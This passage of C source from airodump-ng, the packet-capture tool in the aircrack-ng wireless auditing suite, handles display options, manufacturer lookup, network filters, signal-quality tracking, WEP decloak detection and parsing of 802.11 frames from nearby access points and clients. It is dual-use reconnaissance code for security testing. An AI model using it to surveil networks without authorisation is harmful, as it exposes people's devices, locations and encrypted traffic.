if (keycode == KEY_a)
{
if (lopt.show_ap == 1 && lopt.show_sta == 1 && lopt.show_ack == 0)
{
lopt.show_ack = 1;
snprintf(lopt.message,
sizeof(lopt.message),
"][ display ap+sta+ack");
}
else if (lopt.show_ap == 1 && lopt.show_sta == 1
&& lopt.show_ack == 1)
{
lopt.show_sta = 0;
lopt.show_ack = 0;
snprintf(
lopt.message, sizeof(lopt.message), "][ display ap only");
}
else if (lopt.show_ap == 1 && lopt.show_sta == 0
&& lopt.show_ack == 0)
{
lopt.show_ap = 0;
lopt.show_sta = 1;
snprintf(
lopt.message, sizeof(lopt.message), "][ display sta only");
}
else if (lopt.show_ap == 0 && lopt.show_sta == 1
&& lopt.show_ack == 0)
{
lopt.show_ap = 1;
snprintf(
lopt.message, sizeof(lopt.message), "][ display ap+sta");
}
}
if (keycode == KEY_d)
{
resetSelection();
snprintf(lopt.message,
sizeof(lopt.message),
"][ reset selection to default");
}
if (lopt.do_exit == 0 && !lopt.do_pause)
{
ALLEGE(pthread_mutex_lock(&(lopt.mx_print)) == 0);
dump_print(lopt.ws.ws_row, lopt.ws.ws_col, lopt.num_cards);
ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
}
}
return (NULL);
}
static FILE * open_oui_file(void)
{
int i;
FILE * fp = NULL;
for (i = 0; OUI_PATHS[i] != NULL; i++)
{
fp = fopen(OUI_PATHS[i], "r");
if (fp != NULL)
{
break;
}
}
return (fp);
}
static struct oui * load_oui_file(void)
{
FILE * fp;
char * manuf;
char buffer[BUFSIZ];
unsigned char a[2];
unsigned char b[2];
unsigned char c[2];
struct oui *oui_ptr = NULL, *oui_head = NULL;
fp = open_oui_file();
if (!fp)
{
return (NULL);
}
memset(buffer, 0x00, sizeof(buffer));
while (fgets(buffer, sizeof(buffer), fp) != NULL)
{
if (!(strstr(buffer, "(hex)"))) continue;
memset(a, 0x00, sizeof(a));
memset(b, 0x00, sizeof(b));
memset(c, 0x00, sizeof(c));
// Remove leading/trailing whitespaces.
trim(buffer);
if (sscanf(buffer, "%2c-%2c-%2c", (char *) a, (char *) b, (char *) c)
== 3)
{
if (oui_ptr == NULL)
{
if (!(oui_ptr = (struct oui *) malloc(sizeof(struct oui))))
{
fclose(fp);
perror("malloc failed");
return (NULL);
}
}
else
{
if (!(oui_ptr->next
= (struct oui *) malloc(sizeof(struct oui))))
{
fclose(fp);
perror("malloc failed");
while (oui_head != NULL)
{
oui_ptr = oui_head->next;
free(oui_head);
oui_head = oui_ptr;
}
return (NULL);
}
oui_ptr = oui_ptr->next;
}
memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id));
memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf));
snprintf(oui_ptr->id,
sizeof(oui_ptr->id),
"%c%c:%c%c:%c%c",
a[0],
a[1],
b[0],
b[1],
c[0],
c[1]);
manuf = get_manufacturer_from_string(buffer);
if (manuf != NULL)
{
snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf);
free(manuf);
}
else
{
snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown");
}
if (oui_head == NULL) oui_head = oui_ptr;
oui_ptr->next = NULL;
}
}
fclose(fp);
return (oui_head);
}
static const char usage[] =
"\n"
" %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: airodump-ng <options> <interface>[,<interface>,...]\n"
"\n"
" Options:\n"
" --ivs : Save only captured IVs\n"
" --gpsd : Use GPSd\n"
" --write <prefix> : Dump file prefix\n"
" --beacons : Record all beacons in dump file\n"
" --update <secs> : Display update delay in seconds\n"
" --showack : Prints ack/cts/rts statistics\n"
" -h : Hides known stations for --showack\n"
" -f <msecs> : Time in ms between hopping channels\n"
" --berlin <secs> : Time before removing the AP/client\n"
" from the screen when no more packets\n"
" are received (Default: 120 seconds)\n"
" -r <file> : Read packets from that file\n"
" --real-time : While reading packets from a file,\n"
" simulate the arrival rate of them\n"
" as if they were \"live\".\n"
" -x <msecs> : Active Scanning Simulation\n"
" --manufacturer : Display manufacturer from IEEE OUI list\n"
" --uptime : Display AP Uptime from Beacon Timestamp\n"
" --wps : Display WPS information (if any)\n"
" --output-format\n"
" <formats> : Output format. Possible values:\n"
" pcap, ivs, csv, gps, kismet, netxml, "
"logcsv\n"
" --ignore-negative-one : Removes the message that says\n"
" fixed channel <interface>: -1\n"
" --write-interval\n"
" <seconds> : Output file(s) write interval in seconds\n"
" --background <enable> : Override background detection.\n"
"\n"
" Filter options:\n"
" --encrypt <suite> : Filter APs by cipher suite,\n"
" you can pass multiple --encrypt options\n"
" --netmask <netmask> : Filter APs by mask\n"
" --bssid <bssid> : Filter APs by BSSID,\n"
" you can pass multiple --bssid options\n"
" --essid <essid> : Filter APs by ESSID,\n"
" you can pass multiple --essid options\n"
#if defined HAVE_PCRE2 || defined HAVE_PCRE
" --essid-regex <regex> : Filter APs by ESSID using a regular\n"
" expression\n"
#endif
" --min-packets <int> : Minimum AP packets recv'd before\n"
" displaying it (default: 2)\n"
" --min-power <int> : Filter out APs with PWR less than\n"
" the specified value (default: -120)\n"
" --min-rxq <int> : Filter out APs with RXQ less than\n"
" the specified value (default: 0)\n"
" Requires --channel (or -c) or -C\n"
" -a : Filter out unassociated stations\n"
" -z : Filter out associated stations\n"
"\n"
" By default, airodump-ng hops on 2.4GHz channels.\n"
" You can make it capture on other/specific channel(s) by using:\n"
" --ht20 : Set channel to HT20 (802.11n)\n"
" --ht40- : Set channel to HT40- (802.11n)\n"
" --ht40+ : Set channel to HT40+ (802.11n)\n"
" --channel <channels> : Capture on specific channels\n"
" --ignore-other-chans : Filter out other channels\n"
" Requires --channel (or -c)\n"
" --band <abg> : Band on which airodump-ng should hop\n"
" -C <frequencies> : Uses these frequencies in MHz to hop\n"
" --cswitch <method> : Set channel switching method\n"
" 0 : FIFO (default)\n"
" 1 : Round Robin\n"
" 2 : Hop on last\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
static void airodump_usage(void)
{
char * const l_usage = getVersion(
"Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf(usage, l_usage);
free(l_usage);
}
static int is_filtered_netmask(const uint8_t * bssid)
{
REQUIRE(bssid != NULL);
unsigned char mac1[6];
unsigned char mac2[6];
int i;
pMAC_t cur = lopt.rBSSID;
unsigned char match = 0;
while (cur->next != NULL)
{
cur = cur->next;
for (i = 0; i < 6; i++)
{
mac1[i] = bssid[i] & opt.f_netmask[i];
mac2[i] = cur->mac[i] & opt.f_netmask[i];
}
if (memcmp(mac1, mac2, 6) == 0)
{
match = 1;
break;
}
}
if (match != 1) return (1);
return (0);
}
int is_filtered_essid(const uint8_t * essid)
{
REQUIRE(essid != NULL);
int ret = 0;
int i;
if (lopt.f_essid)
{
for (i = 0; i < lopt.f_essid_count; i++)
{
if (strncmp((char *) essid, lopt.f_essid[i], ESSID_LENGTH) == 0)
{
return (0);
}
}
ret = 1;
}
#if defined HAVE_PCRE2 || defined HAVE_PCRE
if (lopt.f_essid_regex)
{
#ifdef HAVE_PCRE2
lopt.f_essid_match_data
= pcre2_match_data_create_from_pattern(lopt.f_essid_regex, NULL);
return COMPAT_PCRE_MATCH(lopt.f_essid_regex,
essid,
ESSID_LENGTH,
lopt.f_essid_match_data)
< 0;
#elif defined HAVE_PCRE
return COMPAT_PCRE_MATCH(lopt.f_essid_regex, essid, ESSID_LENGTH, NULL)
< 0;
#endif
}
#endif
return (ret);
}
static void update_rx_quality(void)
{
unsigned long time_diff, capt_time, miss_time;
int missed_frames;
struct AP_info * ap_cur = NULL;
struct ST_info * st_cur = NULL;
struct timeval cur_time;
ap_cur = lopt.ap_1st;
st_cur = lopt.st_1st;
gettimeofday(&cur_time, NULL);
/* accesspoints */
while (ap_cur != NULL)
{
time_diff = 1000000UL * (cur_time.tv_sec - ap_cur->ftimer.tv_sec)
+ (cur_time.tv_usec - ap_cur->ftimer.tv_usec);
/* update every `QLT_TIME`seconds if the rate is low, or every 500ms
* otherwise */
if ((ap_cur->fcapt >= QLT_COUNT && time_diff > 500000)
|| time_diff > (QLT_TIME * 1000000))
{
/* at least one frame captured */
if (ap_cur->fcapt > 1)
{
capt_time
= (1000000UL
* (ap_cur->ftimel.tv_sec
- ap_cur->ftimef.tv_sec) // time between
// first and last
// captured frame
+ (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec));
miss_time
= (1000000UL
* (ap_cur->ftimef.tv_sec
- ap_cur->ftimer.tv_sec) // time between
// timer reset and
// first frame
+ (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec))
+ (1000000UL
* (cur_time.tv_sec
- ap_cur->ftimel.tv_sec) // time between
// last frame and
// this moment
+ (cur_time.tv_usec - ap_cur->ftimel.tv_usec));
// number of frames missed at the time where no frames were
// captured; extrapolated by assuming a constant framerate
if (capt_time > 0 && miss_time > 200000)
{
missed_frames
= (int) (((float) miss_time / (float) capt_time)
* ((float) ap_cur->fcapt
+ (float) ap_cur->fmiss));
ap_cur->fmiss += missed_frames;
}
ap_cur->rx_quality
= (int) (((float) ap_cur->fcapt
/ ((float) ap_cur->fcapt + (float) ap_cur->fmiss))
*
#if defined(__x86_64__) && defined(__CYGWIN__)
(0.0f + 100));
#else
100.0f);
#endif
}
else
ap_cur->rx_quality = 0; /* no packets -> zero quality */
/* normalize, in case the seq numbers are not iterating */
if (ap_cur->rx_quality > 100) ap_cur->rx_quality = 100;
if (ap_cur->rx_quality < 0) ap_cur->rx_quality = 0;
/* reset variables */
ap_cur->fcapt = 0;
ap_cur->fmiss = 0;
gettimeofday(&(ap_cur->ftimer), NULL);
}
ap_cur = ap_cur->next;
}
/* stations */
while (st_cur != NULL)
{
time_diff = 1000000UL * (cur_time.tv_sec - st_cur->ftimer.tv_sec)
+ (cur_time.tv_usec - st_cur->ftimer.tv_usec);
if (time_diff > 10000000)
{
st_cur->missed = 0;
gettimeofday(&(st_cur->ftimer), NULL);
}
st_cur = st_cur->next;
}
}
static int update_dataps(void)
{
struct timeval tv;
struct AP_info * ap_cur;
struct NA_info * na_cur;
int ps;
unsigned long diff;
float pause;
time_t sec;
suseconds_t usec;
gettimeofday(&tv, NULL);
ap_cur = lopt.ap_end;
while (ap_cur != NULL)
{
sec = (tv.tv_sec - ap_cur->tv.tv_sec);
usec = (tv.tv_usec - ap_cur->tv.tv_usec);
#if defined(__x86_64__) && defined(__CYGWIN__)
pause = (((sec * (0.0f + 1000000.0f) + usec)) / ((0.0f + 1000000.0f)));
#else
pause = (sec * 1000000.0f + usec) / (1000000.0f);
#endif
if (pause > 2.0f)
{
diff = ap_cur->nb_data - ap_cur->nb_data_old;
ps = (int) (((float) diff) / pause);
ap_cur->nb_dataps = ps;
ap_cur->nb_data_old = ap_cur->nb_data;
gettimeofday(&(ap_cur->tv), NULL);
}
ap_cur = ap_cur->prev;
}
na_cur = lopt.na_1st;
while (na_cur != NULL)
{
sec = (tv.tv_sec - na_cur->tv.tv_sec);
usec = (tv.tv_usec - na_cur->tv.tv_usec);
#if defined(__x86_64__) && defined(__CYGWIN__)
pause = (((sec * (0.0f + 1000000.0f) + usec)) / ((0.0f + 1000000.0f)));
#else
pause = (sec * 1000000.0f + usec) / (1000000.0f);
#endif
if (pause > 2.0f)
{
diff = (unsigned long) (na_cur->ack - na_cur->ack_old);
ps = (int) (((float) diff) / pause);
na_cur->ackps = ps;
na_cur->ack_old = na_cur->ack;
gettimeofday(&(na_cur->tv), NULL);
}
na_cur = na_cur->next;
}
return (0);
}
static int list_tail_free(struct pkt_buf ** list)
{
struct pkt_buf ** pkts;
struct pkt_buf * next;
if (list == NULL) return 1;
pkts = list;
while (*pkts != NULL)
{
next = (*pkts)->next;
if ((*pkts)->packet)
{
free((*pkts)->packet);
(*pkts)->packet = NULL;
}
free(*pkts);
*pkts = NULL;
*pkts = next;
}
*list = NULL;
return (0);
}
static int
list_add_packet(struct pkt_buf ** list, int length, unsigned char * packet)
{
struct pkt_buf * next;
if (length <= 0) return 1;
if (packet == NULL) return 1;
if (list == NULL) return 1;
next = *list;
*list = (struct pkt_buf *) malloc(sizeof(struct pkt_buf));
if (*list == NULL) return 1;
(*list)->packet = (unsigned char *) malloc((size_t) length);
if ((*list)->packet == NULL) return 1;
memcpy((*list)->packet, packet, (size_t) length);
(*list)->next = next;
(*list)->length = (uint16_t) length;
gettimeofday(&((*list)->ctime), NULL);
return (0);
}
/*
* Check if the same IV was used if the first two bytes were the same.
* If they are not identical, it would complain.
* The reason is that the first two bytes unencrypted are 'aa'
* so with the same IV it should always be encrypted to the same thing.
*/
static int
list_check_decloak(struct pkt_buf ** list, int length, const uint8_t * packet)
{
struct pkt_buf * next;
struct timeval tv1;
unsigned long timediff;
int i, correct;
if (packet == NULL) return (1);
if (list == NULL) return (1);
if (*list == NULL) return (1);
if (length <= 0) return (1);
next = *list;
gettimeofday(&tv1, NULL);
timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000UL)
+ (tv1.tv_usec - ((*list)->ctime.tv_usec)))
/ 1000;
if (timediff > BUFFER_TIME)
{
list_tail_free(list);
next = NULL;
}
while (next != NULL)
{
if (next->next != NULL)
{
timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000UL)
+ (tv1.tv_usec - (next->next->ctime.tv_usec)))
/ 1000;
if (timediff > BUFFER_TIME)
{
list_tail_free(&(next->next));
break;
}
}
if ((next->length + 4) == length)
{
correct = 1;
// check for 4 bytes added after the end
for (i = 28; i < length - 28; i++) // check everything (in the old
// packet) after the IV
// (including crc32 at the end)
{
if (next->packet[i] != packet[i])
{
correct = 0;
break;
}
}
if (!correct)
{
correct = 1;
// check for 4 bytes added at the beginning
for (i = 28; i < length - 28; i++) // check everything (in the
// old packet) after the IV
// (including crc32 at the
// end)
{
if (next->packet[i] != packet[4 + i])
{
correct = 0;
break;
}
}
}
if (correct == 1) return (0); // found decloaking!
}
next = next->next;
}
return (1); // didn't find decloak
}
static int remove_namac(unsigned char * mac)
{
struct NA_info * na_cur = NULL;
struct NA_info * na_prv = NULL;
if (mac == NULL) return (-1);
na_cur = lopt.na_1st;
na_prv = NULL;
while (na_cur != NULL)
{
if (!memcmp(na_cur->namac, mac, 6)) break;
na_prv = na_cur;
na_cur = na_cur->next;
}
/* if it's known, remove it */
if (na_cur != NULL)
{
/* first in linked list */
if (na_cur == lopt.na_1st)
{
lopt.na_1st = na_cur->next;
}
else
{
na_prv->next = na_cur->next;
}
free(na_cur);
}
return (0);
}
// NOTE(jbenden): This is also in ivstools.c
static int dump_add_packet(unsigned char * h80211,
int caplen,
struct rx_info * ri,
int cardnum)
{
REQUIRE(h80211 != NULL);
int seq, msd, offset, clen, o;
size_t i;
size_t n;
size_t dlen;
unsigned z;
int type, length, numuni = 0;
size_t numauth = 0;
struct pcap_pkthdr pkh;
struct timeval tv;
struct ivs2_pkthdr ivs2;
unsigned char *p, *org_p, c;
unsigned char bssid[6];
unsigned char stmac[6];
unsigned char namac[6];
unsigned char clear[2048];
int weight[16];
int num_xor = 0;
pMAC_t cur = lopt.rBSSID;
unsigned char match = 0;
struct AP_info * ap_cur = NULL;
struct ST_info * st_cur = NULL;
struct NA_info * na_cur = NULL;
struct AP_info * ap_prv = NULL;
struct ST_info * st_prv = NULL;
struct NA_info * na_prv = NULL;
/* skip all non probe response frames in active scanning simulation mode */
if (lopt.active_scan_sim > 0 && h80211[0] != 0x50) return (0);
/* skip packets smaller than a 802.11 header */
if (caplen < (int) sizeof(struct ieee80211_frame)) goto write_packet;
/* skip (uninteresting) control frames */
if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
goto write_packet;
/* if it's a LLC null packet, just forget it (may change in the future) */
if (((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA)
&& (caplen > 28))
if (memcmp(h80211 + 24, llcnull, 4) == 0) return (0);
/* grab the sequence number */
seq = ((h80211[22] >> 4) + (h80211[23] << 4));
/* locate the access point's MAC address */
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
memcpy(bssid, h80211 + 16, 6); //-V525
break; // Adhoc
case IEEE80211_FC1_DIR_TODS:
memcpy(bssid, h80211 + 4, 6);
break; // ToDS
case IEEE80211_FC1_DIR_FROMDS:
case IEEE80211_FC1_DIR_DSTODS:
memcpy(bssid, h80211 + 10, 6);
break; // WDS -> Transmitter taken as BSSID
default:
abort();
}
if (getMACcount(lopt.rBSSID) > 0)
{
if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
{
if (is_filtered_netmask(bssid)) return (1);
}
else
{
while (cur->next != NULL)
{
cur = cur->next;
if (memcmp(cur->mac, bssid, 6) == 0)
{
match = 1;
break;
}
}
if (match != 1) return (1);
}
}
/* update our chained list of access points */
ap_cur = lopt.ap_1st;
ap_prv = NULL;
while (ap_cur != NULL)
{
if (!memcmp(ap_cur->bssid, bssid, 6)) break;
ap_prv = ap_cur;
ap_cur = ap_cur->next;
}
/* if it's a new access point, add it */
if (ap_cur == NULL)
{
if (!(ap_cur = (struct AP_info *) calloc(1, sizeof(struct AP_info))))
{
perror("calloc failed");
return (1);
}
/* if mac is listed as unknown, remove it */
remove_namac(bssid);
if (lopt.ap_1st == NULL)
lopt.ap_1st = ap_cur;
else if (ap_prv != NULL)
ap_prv->next = ap_cur;
memcpy(ap_cur->bssid, bssid, 6);
if (ap_cur->manuf == NULL)
{
ap_cur->manuf = get_manufacturer(
ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]);
}
ap_cur->nb_pkt = 0;
ap_cur->prev = ap_prv;
ap_cur->tinit = time(NULL);
ap_cur->tlast = time(NULL);
ap_cur->avg_power = -1;
ap_cur->best_power = -1;
ap_cur->power_index = -1;
for (i = 0; i < NB_PWR; i++) ap_cur->power_lvl[i] = -1;
ap_cur->channel = -1;
ap_cur->max_speed = -1;
ap_cur->security = 0;
ap_cur->ivbuf = NULL;
ap_cur->ivbuf_size = 0;
ap_cur->uiv_root = uniqueiv_init();
ap_cur->nb_data = 0;
ap_cur->nb_dataps = 0;
ap_cur->nb_data_old = 0;
gettimeofday(&(ap_cur->tv), NULL);
ap_cur->dict_started = 0;
ap_cur->key = NULL;
lopt.ap_end = ap_cur;
ap_cur->nb_bcn = 0;
ap_cur->rx_quality = 0;
ap_cur->fcapt = 0;
ap_cur->fmiss = 0;
ap_cur->last_seq = 0;
gettimeofday(&(ap_cur->ftimef), NULL);
gettimeofday(&(ap_cur->ftimel), NULL);
gettimeofday(&(ap_cur->ftimer), NULL);
ap_cur->ssid_length = 0;
ap_cur->essid_stored = 0;
memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
ap_cur->timestamp = 0;
ap_cur->decloak_detect = lopt.decloak;
ap_cur->is_decloak = 0;
ap_cur->packets = NULL;
ap_cur->marked = 0;
ap_cur->marked_color = 1;
ap_cur->data_root = NULL;
ap_cur->EAP_detected = 0;
memcpy(ap_cur->gps_loc_min, lopt.gps_loc, sizeof(float) * 5); //-V512
memcpy(ap_cur->gps_loc_max, lopt.gps_loc, sizeof(float) * 5); //-V512
memcpy(ap_cur->gps_loc_best, lopt.gps_loc, sizeof(float) * 5); //-V512
/* 802.11n and ac */
ap_cur->channel_width = CHANNEL_22MHZ; // 20MHz by default
memset(ap_cur->standard, 0, 3);
ap_cur->n_channel.sec_channel = -1;
ap_cur->n_channel.short_gi_20 = 0;
ap_cur->n_channel.short_gi_40 = 0;
ap_cur->n_channel.any_chan_width = 0;
ap_cur->n_channel.mcs_index = -1;
ap_cur->ac_channel.center_sgmt[0] = 0;
ap_cur->ac_channel.center_sgmt[1] = 0;
ap_cur->ac_channel.mu_mimo = 0;
ap_cur->ac_channel.short_gi_80 = 0;
ap_cur->ac_channel.short_gi_160 = 0;
ap_cur->ac_channel.split_chan = 0;
ap_cur->ac_channel.mhz_160_chan = 0;
ap_cur->ac_channel.wave_2 = 0;
memset(ap_cur->ac_channel.mcs_index, 0, MAX_AC_MCS_INDEX);
}
/* update the last time seen */
ap_cur->tlast = time(NULL);
/* only update power if packets comes from
* the AP: either type == mgmt and SA == BSSID,
* or FromDS == 1 and ToDS == 0 */
if (((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_NODS
&& memcmp(h80211 + 10, bssid, 6) == 0)
|| ((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_FROMDS))
{
ap_cur->power_index = (ap_cur->power_index + 1) % NB_PWR;
ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power;
// Moving exponential average
// ma_new = alpha * new_sample + (1-alpha) * ma_old;
ap_cur->avg_power
= (int) (0.99f * ri->ri_power + (1.f - 0.99f) * ap_cur->avg_power);
if (ap_cur->avg_power > ap_cur->best_power)
{
ap_cur->best_power = ap_cur->avg_power;
memcpy(ap_cur->gps_loc_best, //-V512
lopt.gps_loc,
sizeof(float) * 5);
}
/* every packet in here comes from the AP */
if (lopt.gps_loc[0] > ap_cur->gps_loc_max[0])
ap_cur->gps_loc_max[0] = lopt.gps_loc[0];
if (lopt.gps_loc[1] > ap_cur->gps_loc_max[1])
ap_cur->gps_loc_max[1] = lopt.gps_loc[1];
if (lopt.gps_loc[2] > ap_cur->gps_loc_max[2])
ap_cur->gps_loc_max[2] = lopt.gps_loc[2];
if (lopt.gps_loc[0] < ap_cur->gps_loc_min[0])
ap_cur->gps_loc_min[0] = lopt.gps_loc[0];
if (lopt.gps_loc[1] < ap_cur->gps_loc_min[1])
ap_cur->gps_loc_min[1] = lopt.gps_loc[1];
if (lopt.gps_loc[2] < ap_cur->gps_loc_min[2])
ap_cur->gps_loc_min[2] = lopt.gps_loc[2];
// printf("seqnum: %i\n", seq);
if (ap_cur->fcapt == 0 && ap_cur->fmiss == 0)
gettimeofday(&(ap_cur->ftimef), NULL);
if (ap_cur->last_seq != 0)
ap_cur->fmiss += (seq - ap_cur->last_seq - 1);
ap_cur->last_seq = (uint16_t) seq;
ap_cur->fcapt++;
gettimeofday(&(ap_cur->ftimel), NULL);
/* if we are writing to a file and want to make a continuous rolling log save the data here */
if (opt.record_data && opt.output_format_log_csv)
{
/* Write out our rolling log every time we see data from an AP */
dump_write_airodump_ng_logcsv_add_ap(
ap_cur, ri->ri_power, &lopt.gps_time, lopt.gps_loc);
}
// if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality();
}
switch (h80211[0])
{
case IEEE80211_FC0_SUBTYPE_BEACON:
ap_cur->nb_bcn++;
break;
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
/* reset the WPS state */
ap_cur->wps.state = 0xFF;
ap_cur->wps.ap_setup_locked = 0;
break;
default:
break;
}
ap_cur->nb_pkt++;
/* locate the station MAC in the 802.11 header */
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
/* if management, check that SA != BSSID */
if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
memcpy(stmac, h80211 + 10, 6);
break;
case IEEE80211_FC1_DIR_TODS:
/* ToDS packet, must come from a client */
memcpy(stmac, h80211 + 10, 6);
break;
case IEEE80211_FC1_DIR_FROMDS:
/* FromDS packet, reject broadcast MACs */
if ((h80211[4] % 2) != 0) goto skip_station;
memcpy(stmac, h80211 + 4, 6);
break;
case IEEE80211_FC1_DIR_DSTODS:
goto skip_station;
default:
abort();
}
/* update our chained list of wireless stations */
st_cur = lopt.st_1st;
st_prv = NULL;
while (st_cur != NULL)
{
if (!memcmp(st_cur->stmac, stmac, 6)) break;
st_prv = st_cur;
st_cur = st_cur->next;
}
/* if it's a new client, add it */
if (st_cur == NULL)
{
if (!(st_cur = (struct ST_info *) calloc(1, sizeof(struct ST_info))))
{
perror("calloc failed");
return (1);
}
/* if mac is listed as unknown, remove it */
remove_namac(stmac);
memset(st_cur, 0, sizeof(struct ST_info));
if (lopt.st_1st == NULL)
lopt.st_1st = st_cur;
else
st_prv->next = st_cur;
memcpy(st_cur->stmac, stmac, 6);
if (st_cur->manuf == NULL)
{
st_cur->manuf = get_manufacturer(
st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]);
}
st_cur->nb_pkt = 0;
st_cur->prev = st_prv;
st_cur->tinit = time(NULL);
st_cur->tlast = time(NULL);
st_cur->power = -1;
st_cur->best_power = -1;
st_cur->rate_to = -1;
st_cur->rate_from = -1;
st_cur->probe_index = -1;
st_cur->missed = 0;
st_cur->lastseq = 0;
st_cur->qos_fr_ds = 0;
st_cur->qos_to_ds = 0;
st_cur->channel = 0;
gettimeofday(&(st_cur->ftimer), NULL);
memcpy(st_cur->gps_loc_min, //-V512
lopt.gps_loc,
sizeof(st_cur->gps_loc_min));
memcpy(st_cur->gps_loc_max, //-V512
lopt.gps_loc,
sizeof(st_cur->gps_loc_max));
memcpy( //-V512
st_cur->gps_loc_best,
lopt.gps_loc,
sizeof(st_cur->gps_loc_best));
for (i = 0; i < NB_PRB; i++)
{
memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
st_cur->ssid_length[i] = 0;
}
lopt.st_end = st_cur;
}
if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
st_cur->base = ap_cur;
// update bitrate to station
if ((h80211[1] & 3) == 2) st_cur->rate_to = ri->ri_rate;
/* update the last time seen */
st_cur->tlast = time(NULL);
/* only update power if packets comes from the
* client: either type == Mgmt and SA != BSSID,
* or FromDS == 0 and ToDS == 1 */
if (((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_NODS
&& memcmp(h80211 + 10, bssid, 6) != 0)
|| ((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_TODS))
{
st_cur->power = ri->ri_power;
if (ri->ri_power > st_cur->best_power)
{
st_cur->best_power = ri->ri_power;
memcpy(ap_cur->gps_loc_best, //-V512
lopt.gps_loc,
sizeof(st_cur->gps_loc_best));
}
st_cur->rate_from = ri->ri_rate;
if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
st_cur->channel = ri->ri_channel;
else
st_cur->channel = lopt.channel[cardnum];
if (lopt.gps_loc[0] > st_cur->gps_loc_max[0])
st_cur->gps_loc_max[0] = lopt.gps_loc[0];
if (lopt.gps_loc[1] > st_cur->gps_loc_max[1])
st_cur->gps_loc_max[1] = lopt.gps_loc[1];
if (lopt.gps_loc[2] > st_cur->gps_loc_max[2])
st_cur->gps_loc_max[2] = lopt.gps_loc[2];
if (lopt.gps_loc[0] < st_cur->gps_loc_min[0])
st_cur->gps_loc_min[0] = lopt.gps_loc[0];
if (lopt.gps_loc[1] < st_cur->gps_loc_min[1])
st_cur->gps_loc_min[1] = lopt.gps_loc[1];
if (lopt.gps_loc[2] < st_cur->gps_loc_min[2])
st_cur->gps_loc_min[2] = lopt.gps_loc[2];
if (st_cur->lastseq != 0)
{
msd = seq - st_cur->lastseq - 1;
if (msd > 0 && msd < 1000) st_cur->missed += msd;
}
st_cur->lastseq = (uint16_t) seq;
/* if we are writing to a file and want to make a continuous rolling log save the data here */
if (opt.record_data && opt.output_format_log_csv)
{
/* Write out our rolling log every time we see data from a client */
dump_write_airodump_ng_logcsv_add_client(
ap_cur, st_cur, ri->ri_power, &lopt.gps_time, lopt.gps_loc);
}
}
st_cur->nb_pkt++;
skip_station:
/* packet parsing: Probe Request */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_REQ && st_cur != NULL)
{
p = h80211 + 24;
while (p < h80211 + caplen)
{
if (p + 2 + p[1] > h80211 + caplen) break;
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
&& (p[1] > 1 || p[2] != ' '))
{
n = MIN(ESSID_LENGTH, p[1]);
for (i = 0; i < n; i++)
if (p[2 + i] > 0 && p[2 + i] < ' ') goto skip_probe;
/* got a valid ASCII probed ESSID, check if it's
already in the ring buffer */
for (i = 0; i < NB_PRB; i++)
if (memcmp(st_cur->probes[i], p + 2, n) == 0)
goto skip_probe;
st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
memset(st_cur->probes[st_cur->probe_index], 0, 256);
memcpy(
st_cur->probes[st_cur->probe_index], p + 2, n); // twice?!
st_cur->ssid_length[st_cur->probe_index] = (int) n;
if (verifyssid((const unsigned char *)
st_cur->probes[st_cur->probe_index])
== 0)
for (i = 0; i < n; i++)
{
c = p[2 + i];
if (c < 32) c = '.';
st_cur->probes[st_cur->probe_index][i] = c;
}
}
p += 2 + p[1];
}
}
skip_probe:
/* packet parsing: Beacon or Probe Response */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
{
if (!(ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)))
{
if ((h80211[34] & 0x10) >> 4)
ap_cur->security |= STD_WEP | ENC_WEP;
else
ap_cur->security |= STD_OPN;
}
ap_cur->preamble = (h80211[34] & 0x20) >> 5;
unsigned long long * tstamp = (unsigned long long *) (h80211 + 24);
ap_cur->timestamp = letoh64(*tstamp);
p = h80211 + 36;
while (p < h80211 + caplen)
{
if (p + 2 + p[1] > h80211 + caplen) break;
// only update the essid length if the new length is > the old one
if (p[0] == 0x00 && (ap_cur->ssid_length < p[1]))
ap_cur->ssid_length = p[1];
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
&& (p[1] > 1 || p[2] != ' '))
{
/* found a non-cloaked ESSID */
n = MIN(ESSID_LENGTH, p[1]);
memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
